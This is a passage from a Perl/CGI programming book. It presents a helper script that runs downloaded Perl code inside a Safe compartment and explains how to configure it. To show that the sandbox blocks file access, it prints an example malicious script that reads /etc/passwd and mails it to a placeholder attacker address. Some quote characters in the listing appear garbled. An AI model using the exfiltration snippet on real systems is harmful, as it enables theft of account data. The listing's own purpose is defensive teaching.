CGI and Perl

Listing 15.1. HelperAppPerl.

#!/usr/local/bin/Perl
 require Safe;
 my $cpt;                # Safe compartment object
 my $error;              # holds errors from reval()'in the URL
 my $privfile = "$ENV{HOME}/.helper.privs";
 my ($share, @permitted);
 my $program;
 $cpt = new Safe;
 # Sanity check: confirm that this version of Perl really is op_mask aware.
 # Thanks to Malcolm Beattie for some of these bits, from SafeCGIPerl
 $cpt->reval(`open();');
 if ("$@" !~ /open trapped by operation mask/) {
    die(<<`EOT');
 Your version of Perl is not op_mask aware. See the file README
 that comes with the distribution of the Safe extension to Perl.
 EOT
 }
 # Open and parse the optional .helper.privs file
 if( -e $privfile){
     open(PRIVS, "<".$privfile) or
         die "Can\'t open your privfile, $privfile\n";
     while(<PRIVS>){
         next if /^\s*\#/;               # skip comments
         ($share = $_) =~ s/^([^#]*).*/$1/;   # skip comments on same line
         warn "Permitting ops: $share\n" if ($debug);
         @permitted = split(` `,$share);
         $cpt->permit( @permitted );
     }
 }
 # Now we're ready to go
 $program = $ARGV[0];
 (-r "$program") or (die "program $program not found\n");
 # Share STDIN and STDOUT but no other filehandles.
 # Share %ENV so that the script can see our environment variables.
 # Share $" so that they can interpolate arrays in double-quotish contexts.
 #
 $cpt->share(qw($" *STDIN *STDOUT %ENV ));
 $error = $cpt->rdo($program);
 if ($@) {
     die "Program error: $@";
 }

Once you've set up your .mime.types file like this

type=application/Perl\
 desc="Safe Perl script" \
 exts="mypl"

and your .mailcap file like this

application/Perl; /usr/local/bin/HelperAppPerl %s

then any URL with the extension .mypl will invoke this helper application, which will compile and run the script within the Safe compartment.

In the HelperAppPerl script, we perform the following tasks:

  1. Create a new Safe object (compartment) using $cpt.
  2. Perform a sanity check on the safe compartment to be sure we're using a Perl that has the Safe masking capability. (This technique is derived from SafeCGIPerl, discussed in Chapter 3.)
  3. Open and parse an optional .helper.privs file to give the user some flexibility in configuring the Safe compartment. Be very careful about using this option. Make quite sure you understand exactly what you're permitting before you make an entry in this file.
  4. Share the STDIN and STDOUT file handles, and the %ENV hash into the safe compartment.
  5. Execute the downloaded script, within the safe compartment, using the Safe::rdo() method.
  6. Check $@ for any runtime errors during the execution.

Using this technique is certainly preferable to nothing at all, but it still isn't foolproof. If the user incorrectly configures his or her .helper.privs file to allow an unsafe op like fork() or open(), it can lead to trouble. Make sure that you, and/or the user, fully understand how Safe works and the implications of each opcode before configuring any additional permit()'d operations.

If the script that gets executed on the client side has any given operation that has not been permit()'d, the script will terminate with an error. Suppose that, for instance, someone sent you a script that tried to open and mail your passwd file:

open(PASSWD,"</etc/passwd");
 open(MAIL,"|/usr/lib/sendmail -t");
 print MAIL "To: darkman\@badguys.org\n";
 print MAIL "Subject: Hey darkman!  Got another one!\n";
 print MAIL "From: LoserUser\@bozosRus.com\n\n";
 while(<PASSWD>){
    print MAIL $_;
 }
 close(MAIL);
 exit(0);    # Another Success!

This script would have run just fine if you hadn't set up a Safe compartment. Since you did, though, the script won't run, and Netscape will give you back an error dialog that looks like Figure 15.3, indicating that the open() operation wasn't allowed. Too bad for darkman.

Figure 15.3. A Safe error message.